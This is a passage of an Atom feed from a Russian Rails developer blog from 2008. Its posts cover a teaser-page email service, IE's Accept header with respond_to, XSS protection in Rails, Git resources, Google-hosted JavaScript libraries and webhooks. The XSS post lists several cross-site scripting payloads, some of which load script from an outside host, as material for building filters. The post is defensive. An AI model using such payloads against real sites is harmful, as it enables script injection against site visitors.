&lt;h2&gt;История возникновения&lt;/h2&gt;


	&lt;p&gt;Вы читали &lt;a href="http://gettingreal.37signals.com/"&gt;Getting Real&lt;/a&gt;? В одной из глав там упоминается этап сбора адресов электронной почты на тизерной странице.&lt;/p&gt;


	&lt;p&gt;Технически проблема небольшая, и решение ее несложное. Но если в планах еще один проект? И еще один? Для своих собственных нужд мы создали небольшой продукт, решающий эту специализированную задачу— сбор адресов электронной почты и удобную работу с ними в дальнейшем. А потом мы решили бесплатно поделиться им с другими разработчиками, так родился &lt;a href="http://www.teaser123.net"&gt;Teaser 1-2-3&lt;/a&gt;&lt;/p&gt;


	&lt;h2&gt;Возможности&lt;/h2&gt;


	&lt;p&gt;Основное назначение— сбор и управление почтовыми адресами всех, кто зарегистрировался на тизерной странице. &lt;a href="http://www.teaser123.net"&gt;Teaser 1-2-3&lt;/a&gt; позволяет сгенерировать специальный html-код, который нужно разместить на тизерной странице, чтобы получить форму регистрации.&lt;/p&gt;


	&lt;p&gt;Когда посетитель, воспользовавшись формой, отправит вам свой адрес электронной почты, &lt;a href="http://www.teaser123.net"&gt;Teaser 1-2-3&lt;/a&gt; сохранит его (адрес), а затем перенаправит посетителя на страницу “Спасибо за регистрацию!” (ее адрес вы указываете в своем профиле).&lt;/p&gt;


	&lt;p&gt;Кроме того, после сохранения адреса &lt;a href="http://www.teaser123.net"&gt;Teaser 1-2-3&lt;/a&gt; отправляет  “приветственное” письмо, текст которого вы задаете сами.&lt;/p&gt;


	&lt;p&gt;В пользовательском профиле &lt;a href="http://www.teaser123.net"&gt;Teaser 1-2-3&lt;/a&gt; вы сможете управлять списком хранящихся адресов, а затем (например, по окончанию “тизерного периода”) экспортировать его в формате &lt;span class="caps"&gt;CSV&lt;/span&gt;, чтобы использовать в дальнейшем.&lt;/p&gt;


	&lt;p&gt;Приятная мелочь— &lt;a href="http://www.teaser123.net"&gt;Teaser 1-2-3&lt;/a&gt; запоминает адрес, с которого посетитель пришел на вашу тизерную страницу.&lt;/p&gt;


	&lt;h2&gt;Итоги&lt;/h2&gt;


	&lt;p&gt;Следите за нашим блогом, чтобы быть в курсе обновлений проекта &lt;a href="http://www.teaser123.net"&gt;Teaser 1-2-3&lt;/a&gt; . Удобнее делать это через &lt;a href="http://feeds.feedburner.com/hashtrain"&gt;feed&lt;/a&gt;&lt;/p&gt;


	&lt;p&gt;Задавайте возникшие вопросы в &lt;a href="http://groups.google.com/group/teaser123"&gt;группе поддержки&lt;/a&gt;&lt;/p&gt;


	&lt;p&gt;Приятной работы вам!&lt;/p&gt;
          &lt;img src="http://feeds.feedburner.com/~r/hashtrain/~4/vUs0MzISAMQ" height="1" width="1"/&gt;</content>  <feedburner:origLink>http://ru.hashtrain.com/2008/7/8/teaser-1-2-3</feedburner:origLink></entry>
  <entry xml:base="http://ru.hashtrain.com/">
    <author>
      <name>shaliko</name>
    </author>
    <id>tag:ru.hashtrain.com,2008-06-22:17</id>
    <published>2008-06-22T14:23:00Z</published>
    <updated>2008-07-28T11:23:01Z</updated>
    <category term="Блог" />
    <link href="http://feedproxy.google.com/~r/hashtrain/~3/MMOGRf0onHg/respond_to-ie" rel="alternate" type="text/html" />
    <title>respond_to в IE</title>
<summary type="html">&lt;p&gt;Ни для кого не секрет, что IE самый удивительный браузер. В нем многое реализовано в обход стандартов, по-своему. Из-за чего часто возникают неприятные ситуации для разработчиков.&lt;/p&gt;</summary><content type="html">
            &lt;p&gt;Ни для кого не секрет, что IE самый удивительный браузер. В нем многое реализовано в обход стандартов, по-своему. Из-за чего часто возникают неприятные ситуации для разработчиков.&lt;/p&gt;
&lt;h2&gt;Проблема&lt;/h2&gt;

&lt;p&gt;Используя метод respond_to при разработке нашего приложения, мы должны передавать код блока в определенном порядке. Например, мы можем написать так:&lt;/p&gt;

&lt;pre&gt;&lt;code class="ruby"&gt;def show
  respond_to |format| do
    format.js {render :partial =&amp;gt; ’show’}
    format.html {}
  end
end&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;В FF все отработает правильно, то есть при обычном запросе мы возвратим обработанный шаблон «show.html.erb», а при AJAX запросе «_show.html.erb».&lt;/p&gt;

&lt;p&gt;Но при использовании IE 6 нас ждет неприятный сюрприз – при любом запросе respond_to будет возвращать «_show.html.erb». То есть будет срабатывать первая проверка на формат «format.js»&lt;/p&gt;

&lt;h2&gt;Почему так происходит?&lt;/h2&gt;

&lt;p&gt;Проблема заключается в том, что IE  по умолчанию посылает неправильный “Accept”  заголовок серверу нашего приложения. Метод respond_to проверяет “Accept” заголовок с различными форматами и выполняет нужный код. &lt;/p&gt;

&lt;p&gt;FireFox по умолчанию посылает “Accept” заголовок, содержаший “text, html, xml” комбинации. Но IE делает все по-своему и посылает по умолчанию “Accept” заголовок, который не содержит перечисление следующих форматов  “text, html, xml”.&lt;/p&gt;

&lt;p&gt;Поэтому когда запрос приходит от IE, respond_to не находит вхождений форматов в “Accept”  заголовке и по умолчанию выполняет действия для первой проверки (То есть той что написана выше) - format.js.&lt;/p&gt;

&lt;p&gt;При AJAX запросе, библиотека prototype сама проставит “Accept”  заголовок  “text/javascript”. В этом случае respond_to может точно определить что верный формат format.js.&lt;/p&gt;

&lt;h2&gt;Решение&lt;/h2&gt;

&lt;p&gt;1) Всегда писать выше сравнение на формат, который должен быть по умолчанию. Например так:&lt;/p&gt;

&lt;pre&gt;&lt;code class="ruby"&gt;def show
  respond_to |format| do
    format.html {}
    format.js {render :partial =&amp;gt; ’show’}
  end
end&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;2) Написать before_filter "set_proper_accept_header' в контроллере. И устанавливать нужный вам заголовок, если браузер пользователя IE.&lt;/p&gt;

&lt;pre&gt;&lt;code class="ruby"&gt;request.env[&amp;quot;HTTP_ACCEPT&amp;quot;] = &amp;quot;application/xml&amp;quot;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Первый способ явно лучше.&lt;/p&gt;
          &lt;img src="http://feeds.feedburner.com/~r/hashtrain/~4/MMOGRf0onHg" height="1" width="1"/&gt;</content>  <feedburner:origLink>http://ru.hashtrain.com/2008/6/22/respond_to-ie</feedburner:origLink></entry>
  <entry xml:base="http://ru.hashtrain.com/">
    <author>
      <name>shaliko</name>
    </author>
    <id>tag:ru.hashtrain.com,2008-06-19:15</id>
    <published>2008-06-19T18:43:00Z</published>
    <updated>2008-06-20T07:21:36Z</updated>
    <category term="Блог" />
    <category term="erubis" />
    <category term="rails" />
    <category term="xss" />
    <category term="xss_terminate" />
    <link href="http://feedproxy.google.com/~r/hashtrain/~3/q69fv5X6tA4/rails-xss" rel="alternate" type="text/html" />
    <title>Rails и XSS</title>
<summary type="html">&lt;p&gt;XSS (англ. Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости компьютерной системы, используется при хакерской атаке. XSS-атака обычно проводится путём конструирования специального URL, который атакующий предъявляет своей жертве.&lt;/p&gt;

&lt;p&gt;К сожаление Rails автоматически не избавляет наши приложения от данного вида атак. Конечно же, мы можем напичкать наши шаблоны вызовами метода h() – но это не правильный подход.&lt;/p&gt;</summary><content type="html">
            &lt;p&gt;XSS (англ. Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости компьютерной системы, используется при хакерской атаке. XSS-атака обычно проводится путём конструирования специального URL, который атакующий предъявляет своей жертве.&lt;/p&gt;

&lt;p&gt;К сожаление Rails автоматически не избавляет наши приложения от данного вида атак. Конечно же, мы можем напичкать наши шаблоны вызовами метода h() – но это не правильный подход.&lt;/p&gt;
&lt;p&gt;Примеры XSS атак:&lt;/p&gt;

&lt;pre&gt;&lt;code class="html"&gt;'';!--&amp;quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="html"&gt;&amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="html"&gt;&amp;lt;IMG &amp;quot;&amp;quot;&amp;quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;&amp;quot;&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="html"&gt;&amp;lt;SCRIPT/XSS SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="html"&gt;&amp;lt;SCRIPT/SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Работает в следующих браузерах: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;/p&gt;

&lt;p&gt;Примеры кода приведены исключительно для создания фильтров&lt;/p&gt;
&lt;br /&gt;
&lt;h2&gt;Правильно фильтровать данные перед сохранением или перед показом?&lt;/h2&gt;
&lt;br /&gt;
&lt;p&gt;Если фильтровать данные перед сохранением – это удобно и избавляет нас необходимости заботиться о данных в шаблоне. Можно реализовать Observe для фильтрации всех полей модели.&lt;/p&gt;

&lt;p&gt;Однако если не сработает фильтр, данные попадут в шаблон – а значит вы, атакованы. Например, поиск который отображает вместе с результатами искомое значение. А также другие ситуации.&lt;/p&gt;

&lt;p&gt;Поэтому было бы не лишним автоматическая фильтрация в наших шаблонах.&lt;/p&gt;


&lt;h2&gt;xss_terminate&lt;/h2&gt;
&lt;br /&gt;
&lt;p&gt;xss_terminate плагин который позволяет легко фильтровать данные. Установили и забыли. Вы можете забыть про метод h(), так как он вам больше не пригодится. Плагин основан на плагине acts_as_sanitized &lt;a href="http://www.al3x.net/"&gt;Alex Payne&lt;/a&gt;, но обновлен для рельсов 2.0 c дополнительными возможностями.&lt;/p&gt;

&lt;p&gt;Дополнительные возможности:&lt;/p&gt;

&lt;p&gt;1.	Он работает с Rails 2,0.&lt;/p&gt;
&lt;p&gt;2.	Все работает автоматически. Он подмешивается в ActiveReord::Base и поэтому он работает во всех ваших моделях.&lt;/p&gt;
&lt;p&gt;3.	Вы можете определить в модели как обрабатывать ваши поля (удалять html или преобразовывать html в эквиваленты)&lt;/p&gt;
&lt;p&gt;4.	Поддерживает HTML5lib если Rails парсер не делает этого для вас.&lt;/p&gt;

&lt;p&gt;Как его использовать.&lt;/p&gt;

&lt;h3&gt;Установка&lt;/h3&gt;

&lt;pre&gt;&lt;code class="ruby"&gt;script/plugin install http://xssterminate.googlecode.com/svn/trunk/xss_terminate&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Удаление HTML тегов для всех полей в модели&lt;/h3&gt;
&lt;pre&gt;&lt;code class="ruby"&gt;class Article &amp;lt; ActiveRecord::Base
end&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Фильтрация HTML для некоторых полей&lt;/h3&gt;
&lt;pre&gt;&lt;code class="ruby"&gt;class Article &amp;lt; ActiveRecord::Base
  xss_terminate :sanitize =&amp;gt; [:body]
end&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Можно отключить действие плагина для некоторых полей&lt;/h3&gt;
&lt;pre&gt;&lt;code class="ruby"&gt;class Article &amp;lt; ActiveRecord::Base
  xss_terminate :except =&amp;gt; [:title, :body]
end&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;И, конечно, вы можете использовать все эти варианты вместе.&lt;/h3&gt;
&lt;pre&gt;&lt;code class="ruby"&gt;class Article
  xss_terminate :except =&amp;gt; [:author_name], :sanitize =&amp;gt; [:title]
end&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;Используйте Erubis&lt;/h2&gt;
&lt;br /&gt;
&lt;p&gt;Erubis позволяет автоматически обрабатывать ваши шаблоны, удаляя все возможные XSS атаки. Вы можете использовать его в сочетании с xss_terminate или других плагинов. Используя его как дополнительный слой защиты.&lt;/p&gt;


&lt;p&gt;Пример установки можно посмотреть тут &lt;a href="http://www.kuwata-lab.com/erubis/users-guide.05.html#topics-rails"&gt;http://www.kuwata-lab.com/erubis/users-guide.05.html#topics-rails&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;Другие подходы&lt;/h3&gt;

&lt;p&gt;Ниже приведены, несколько других проектов по борьбе с XSS атаками:&lt;p&gt;

&lt;p&gt;&lt;a href="http://safe-erb.rubyforge.org/svn/plugins/safe_erb/"&gt;SafeERB&lt;/a&gt; - Безопасный ERB&lt;/p&gt;
&lt;p&gt;&lt;a href="http://code.google.com/p/xss-shield/"&gt;xss-shield&lt;/a&gt; – Автоматически обрабатывает методом h() строки не помеченные как безопасные.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://code.google.com/p/sanitizeparams/"&gt;sanitize_params&lt;/a&gt; – Удаляет html из параметров перед передачей их вашей модели.&lt;/p&gt;
          &lt;img src="http://feeds.feedburner.com/~r/hashtrain/~4/q69fv5X6tA4" height="1" width="1"/&gt;</content>  <feedburner:origLink>http://ru.hashtrain.com/2008/6/19/rails-xss</feedburner:origLink></entry>
  <entry xml:base="http://ru.hashtrain.com/">
    <author>
      <name>soulim</name>
    </author>
    <id>tag:ru.hashtrain.com,2008-06-08:14</id>
    <published>2008-06-08T06:03:00Z</published>
    <updated>2008-06-08T07:11:09Z</updated>
    <category term="Блог" />
    <link href="http://feedproxy.google.com/~r/hashtrain/~3/Wzp0gti2A9I/10-git" rel="alternate" type="text/html" />
    <title>10 ресурсов посвященных Git</title>
<summary type="html">&lt;p&gt;Git —система контроля версий, которая в последнее время приобретает все большую популярность. Как это обычно бывает, кто-то упрекает продукт, кто-то его восхваляет… но, с другой стороны, равнодушных нет.&lt;/p&gt;


	&lt;p&gt;В процессе поиска информации о Git у нас появилась подборка материалов, которая может быть полезной.&lt;/p&gt;</summary><content type="html">
            &lt;p&gt;Git —система контроля версий, которая в последнее время приобретает все большую популярность. Как это обычно бывает, кто-то упрекает продукт, кто-то его восхваляет… но, с другой стороны, равнодушных нет.&lt;/p&gt;


	&lt;p&gt;В процессе поиска информации о Git у нас появилась подборка материалов, которая может быть полезной.&lt;/p&gt;
&lt;h2&gt;Начнем с обычного ликбеза —обратимся к Wikipedia.org&lt;/h2&gt;


	&lt;p&gt;В переводе с британского английского “git” —мерзавец. Такое имя дал продукту его разработчик Линус Торвальдс (Linus Torvalds).&lt;/p&gt;


	&lt;p&gt;О причинах возникновения названия можно прочитать в соответсвующем разделе wiki официального сайта Git —&lt;a href="http://git.or.cz/gitwiki/GitFaq#head-90fa13ebe170116f1586156e73b549cc2135b784"&gt; GitFaq: Why the ‘git’ name?&lt;/a&gt;&lt;/p&gt;


	&lt;p&gt;В основе структуры проекта Git лежал опыт Торвальдса в разработке больших распределенных проектов, его познания о производительности файловых систем… а также необходимость создать работающий продукт за короткий промежуток времени.&lt;/p&gt;


	&lt;p&gt;В итоге получилась распределенная система контроля версий со следующими основными особенностями:&lt;/p&gt;


	&lt;ul&gt;
	&lt;li&gt;возможность распределенной разработки. Git создает локальную версию истории разработки для каждого разработчика, а изменения копируются из одного репозитория в другой&lt;/li&gt;
		&lt;li&gt;публикация репозитория может осуществляться через протокол Git, &lt;span class="caps"&gt;HTTP&lt;/span&gt;, FTP, ssh и rsync&lt;/li&gt;
		&lt;li&gt;поддержка репозиториев &lt;span class="caps"&gt;SVN&lt;/span&gt;&lt;/li&gt;
		&lt;li&gt;эффективная работа с  большими проектами&lt;/li&gt;
		&lt;li&gt;система организована таким образом, что поддерживает создание специализированных систем контроля версий, а также различных интерфейсов для конечных пользователей&lt;/li&gt;
	&lt;/ul&gt;


	&lt;p&gt;Подробнее об истории Git можно прочитать на Wikipedia.org&lt;/p&gt;


	&lt;ul&gt;
	&lt;li&gt;на английском языке —&lt;a href="http://en.wikipedia.org/wiki/Git_(software" title="software"&gt;Git&lt;/a&gt;)&lt;/li&gt;
		&lt;li&gt;на русском (хотя материала здесь немного меньше, чем в ангийской версии) —&lt;a href="http://ru.wikipedia.org/wiki/Git"&gt;Git&lt;/a&gt;&lt;/li&gt;
	&lt;/ul&gt;


	&lt;h2&gt;Идем дальше. Смотрим. Читаем. Учимся&lt;/h2&gt;


	&lt;p&gt;Для тех, кто ни разу не использовал эту систему&lt;/p&gt;


	&lt;ul&gt;
	&lt;li&gt;Описание Git от замечательных PeepCode —&lt;a href="https://peepcode.com/products/git"&gt;Git&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;Git-PDF опять от PeepCode —&lt;a href="http://peepcode.com/products/git-internals-pdf"&gt;Git Internals &lt;span class="caps"&gt;PDF&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;скринкасты —&lt;a href="http://www.gitcasts.com/"&gt;GitCasts&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;git-хостинг GitHub дает свои описания —&lt;a href="http://github.com/guides"&gt;GitHub Guides&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;если ваша рабочая операционная система Windows —&lt;a href="http://kylecordes.com/2008/04/30/git-windows-go/"&gt;Git (GitHub) на Windows&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;если вы уже используете &lt;span class="caps"&gt;SVN&lt;/span&gt; —&lt;a href="http://utsl.gen.nz/talks/git-svn/intro.html"&gt;git-svn&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;ну и наконец… Несколько частей описания системы (на русском) —&lt;a href="http://los-t.livejournal.com/tag/git+guts"&gt;Git Guts&lt;/a&gt;&lt;/li&gt;
	&lt;/ul&gt;


	&lt;p&gt;Если вы уже используете эту систему, то вот набор из пары десятков команд, полезных при ежедневной работе: &lt;a href="http://www.kernel.org/pub/software/scm/git/docs/everyday.html"&gt;Everyday &lt;span class="caps"&gt;GIT&lt;/span&gt; With 20 Commands&lt;/a&gt;&lt;/p&gt;


	&lt;p&gt;Теперь вы сможете сформировать свое собственное мнение относительно Git. Приятной работы!&lt;/p&gt;
          &lt;img src="http://feeds.feedburner.com/~r/hashtrain/~4/Wzp0gti2A9I" height="1" width="1"/&gt;</content>  <feedburner:origLink>http://ru.hashtrain.com/2008/6/8/10-git</feedburner:origLink></entry>
  <entry xml:base="http://ru.hashtrain.com/">
    <author>
      <name>soulim</name>
    </author>
    <id>tag:ru.hashtrain.com,2008-05-28:11</id>
    <published>2008-05-28T06:35:00Z</published>
    <updated>2008-07-28T11:17:39Z</updated>
    <category term="Блог" />
    <link href="http://feedproxy.google.com/~r/hashtrain/~3/pXPMdg_-0ro/prototype-js-script-aculo-us-google" rel="alternate" type="text/html" />
    <title>Prototype.js и script.aculo.us теперь доставляются Google</title>
<summary type="html">&lt;p&gt;Благодаря &lt;a href="http://code.google.com/apis/ajaxlibs"&gt;&lt;span class="caps"&gt;AJAX&lt;/span&gt; Libraries &lt;span class="caps"&gt;API&lt;/span&gt;&lt;/a&gt; библиотеки &lt;a href="http://www.prototypejs.org"&gt;Prototype.js&lt;/a&gt; и &lt;a href="http://script.aculo.us"&gt;script.aculo.us&lt;/a&gt; можно получать через высокоскоростную сеть доставки контента &lt;a href="http://www.google.com"&gt;Google&lt;/a&gt;&lt;/p&gt;</summary><content type="html">
            &lt;p&gt;Благодаря &lt;a href="http://code.google.com/apis/ajaxlibs"&gt;&lt;span class="caps"&gt;AJAX&lt;/span&gt; Libraries &lt;span class="caps"&gt;API&lt;/span&gt;&lt;/a&gt; библиотеки &lt;a href="http://www.prototypejs.org"&gt;Prototype.js&lt;/a&gt; и &lt;a href="http://script.aculo.us"&gt;script.aculo.us&lt;/a&gt; можно получать через высокоскоростную сеть доставки контента &lt;a href="http://www.google.com"&gt;Google&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Зачем это? Что это дает?&lt;/h2&gt;


	&lt;p&gt;Когда указанная версия библиотеки получена браузером, она кэшируется на один год. Это значит, что большинство пользователей скачают ~30KB кода только один раз.&lt;/p&gt;


	&lt;p&gt;Все файлы доставляются в сжатом виде (GZIP) и с верными заголовками для кэширования.&lt;/p&gt;


	&lt;h2&gt;Варианты подключения библиотек&lt;/h2&gt;


	&lt;p&gt;1. Вызов файла напрямую&lt;/p&gt;


&lt;pre&gt;&lt;code class="html"&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;
  src=&amp;quot;http://ajax.googleapis.com/ajax/libs/prototype/1.6.0.2/prototype.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;

	&lt;p&gt;2. Через &lt;a href="http://code.google.com/apis/ajaxlibs"&gt;&lt;span class="caps"&gt;AJAX&lt;/span&gt; Libraries &lt;span class="caps"&gt;API&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;


&lt;pre&gt;&lt;code class="html"&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;http://www.google.com/jsapi&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;google.load(&amp;quot;prototype&amp;quot;, &amp;quot;1.6.0.2&amp;quot;);&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;

	&lt;p&gt;Аналогичным способом доступна библиотека &lt;a href="http://script.aculo.us"&gt;script.aculo.us&lt;/a&gt;&lt;/p&gt;


&lt;pre&gt;&lt;code class="html"&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;http://www.google.com/jsapi&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
  google.load(&amp;quot;prototype&amp;quot;, &amp;quot;1.6&amp;quot;);
  google.load(&amp;quot;scriptaculous&amp;quot;, &amp;quot;1.8.1&amp;quot;);
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;

	&lt;p&gt;Функция &lt;i&gt;google.load()&lt;/i&gt; загружает указанную в первом параметре библиотеку. Во втором параметре указывается версия библиотеки. Использование версий имеет небольшую, но приятную особенность, которую сейчас рассмотрим на примере.&lt;/p&gt;


	&lt;p&gt;Допустим, существуют версии библиотеки&lt;/p&gt;


	&lt;ul&gt;
	&lt;li&gt;1.9.1&lt;/li&gt;
		&lt;li&gt;1.8.4&lt;/li&gt;
		&lt;li&gt;1.8.2&lt;/li&gt;
	&lt;/ul&gt;


	&lt;p&gt;Тогда получаем следующее&lt;/p&gt;


&lt;pre&gt;&lt;code class="html"&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
  google.load(&amp;quot;scriptaculous&amp;quot;, &amp;quot;1.8.2&amp;quot;); // загрузка версии 1.8.2

  google.load(&amp;quot;scriptaculous&amp;quot;, &amp;quot;1.8&amp;quot;); // загрузка версии 1.8.4, потому что это последний релиз ветки 1.8

  google.load(&amp;quot;scriptaculous&amp;quot;, &amp;quot;1&amp;quot;); // загрузка версии 1.9.1, по аналогии с предыдущим примером
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;

	&lt;h2&gt;Но это еще не все&lt;/h2&gt;


	&lt;p&gt;Также через &lt;a href="http://code.google.com/apis/ajaxlibs"&gt;&lt;span class="caps"&gt;AJAX&lt;/span&gt; Libraries &lt;span class="caps"&gt;API&lt;/span&gt;&lt;/a&gt; доступны и другие популярные библиотеки:&lt;/p&gt;


	&lt;ul&gt;
	&lt;li&gt;&lt;a href="http://code.google.com/apis/ajaxlibs/documentation/index.html#jquery"&gt;jQuery&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://code.google.com/apis/ajaxlibs/documentation/index.html#mootools"&gt;mootools&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://code.google.com/apis/ajaxlibs/documentation/index.html#dojo"&gt;dojo&lt;/a&gt;&lt;/li&gt;
	&lt;/ul&gt;


	&lt;h2&gt;Полезные ссылки&lt;/h2&gt;


	&lt;ul&gt;
	&lt;li&gt;&lt;a href="http://code.google.com/apis/ajaxlibs"&gt;&lt;span class="caps"&gt;AJAX&lt;/span&gt; Libraries &lt;span class="caps"&gt;API&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://www.prototypejs.org"&gt;Prototype.js&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://script.aculo.us"&gt;script.aculo.us&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://www.jquery.com"&gt;jQuery&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://mootools.net"&gt;mootools&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://dojotoolkit.org"&gt;dojo&lt;/a&gt;&lt;/li&gt;
	&lt;/ul&gt;
          &lt;img src="http://feeds.feedburner.com/~r/hashtrain/~4/pXPMdg_-0ro" height="1" width="1"/&gt;</content>  <feedburner:origLink>http://ru.hashtrain.com/2008/5/28/prototype-js-script-aculo-us-google</feedburner:origLink></entry>
  <entry xml:base="http://ru.hashtrain.com/">
    <author>
      <name>soulim</name>
    </author>
    <id>tag:ru.hashtrain.com,2008-05-26:9</id>
    <published>2008-05-26T06:27:00Z</published>
    <updated>2008-07-28T11:15:09Z</updated>
    <category term="Блог" />
    <category term="webhooks" />
    <link href="http://feedproxy.google.com/~r/hashtrain/~3/fC3dgj6nhPU/webhooks" rel="alternate" type="text/html" />
    <title>WebHooks. Что это такое?</title>
<summary type="html">&lt;p&gt;WebHooks—это один из способов взаимодействия веб-приложений, когда одно приложение “узнает”, что наступило некоторое событие в другом приложении, и может на это как-то отреагировать.&lt;/p&gt;</summary><content type="html">
            &lt;p&gt;WebHooks—это один из способов взаимодействия веб-приложений, когда одно приложение “узнает”, что наступило некоторое событие в другом приложении, и может на это как-то отреагировать.&lt;/p&gt;
&lt;h2&gt;Как это работает?&lt;/h2&gt;


	&lt;p&gt;Алгоритм сводится к следующему: в нашем приложении наступает некоторое событие (регистрация пользователя, поступление нового заказа), которое инициирует отправку &lt;span class="caps"&gt;POST&lt;/span&gt;-запроса на определенный заранее &lt;span class="caps"&gt;URL&lt;/span&gt;. Немного туманно? Сейчас поясню на примере.&lt;/p&gt;


	&lt;p&gt;&lt;i&gt;Возьмем электронный магазин. Один из пользователей оформил заказ, после чего мы сразу получаем уведомление с деталями заказа по электронной почте, через сервис IM и &lt;span class="caps"&gt;SMS&lt;/span&gt;.
Как это произошло? Очень просто—наше приложение по наступлении события “оформление заказа” отправило детали заказа на сервисы электронной почты, IM и &lt;span class="caps"&gt;SMS&lt;/span&gt;.&lt;/i&gt;&lt;/p&gt;


	&lt;p&gt;На самом деле, это был простейший пример. В целом, масштабы расширяемости приложений с использованием webhooks могут быть намного больше. По сути, мы получаем синхронизацию приложений в реальном времени, которая происходит только при наступлении нужного события.&lt;/p&gt;


	&lt;p&gt;Формат, в котором отправляются данные &lt;span class="caps"&gt;POST&lt;/span&gt;-запроса, может быть совершенно разным. Например, &lt;a href="http://www.shopify.com"&gt;Shopify&lt;/a&gt; отправляет данные в формате &lt;span class="caps"&gt;XML&lt;/span&gt;, а &lt;a href="http://github.com/guides/post-receive-hooks"&gt;GitHub&lt;/a&gt; использует для этого &lt;span class="caps"&gt;JSON&lt;/span&gt;.&lt;/p&gt;


	&lt;h2&gt;Где уже применяются webhooks?&lt;/h2&gt;


	&lt;p&gt;На данный момент сервисов, которые используют webhooks не очень много. Вот некоторые из них:&lt;/p&gt;


	&lt;ul&gt;
	&lt;li&gt;&lt;a href="http://github.com"&gt;GitHub&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://www.shopify.com/"&gt;Shopify&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://www.versionshelf.com/"&gt;Versionshelf&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://devjavu.com/"&gt;DevjaVu&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://pbwiki.com"&gt;PBwiki&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://mailhook.org"&gt;Mailhook.org&lt;/a&gt;&lt;/li&gt;
	&lt;/ul&gt;


	&lt;h2&gt;Полезные ссылки&lt;/h2&gt;


	&lt;ul&gt;
	&lt;li&gt;&lt;a href="http://github.com/guides/post-receive-hooks"&gt;Использование webhooks сервисом GitHub&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://wiki.shopify.com/WebHook"&gt;О том как Shopify применяет webhooks&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://webhooks.pbwiki.com"&gt;Web Hooks Wiki&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://blogrium.com/?p=70"&gt;WebHooks&lt;/a&gt;&lt;/li&gt;
	&lt;/ul&gt;


	&lt;h2&gt;Screencasts&lt;/h2&gt;


	&lt;ul&gt;
	&lt;li&gt;&lt;a href="http://www.slideshare.net/progrium/web-hooks"&gt;Web Hooks&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://www.slideshare.net/guest7e115a/web-hooks-on-pbwiki"&gt;Web Hooks on PBwiki&lt;/a&gt;&lt;/li&gt;
	&lt;/ul&gt;
          &lt;img src="http://feeds.feedburner.com/~r/hashtrain/~4/fC3dgj6nhPU" height="1" width="1"/&gt;</content>  <feedburner:origLink>http://ru.hashtrain.com/2008/5/26/webhooks</feedburner:origLink></entry>
</feed>
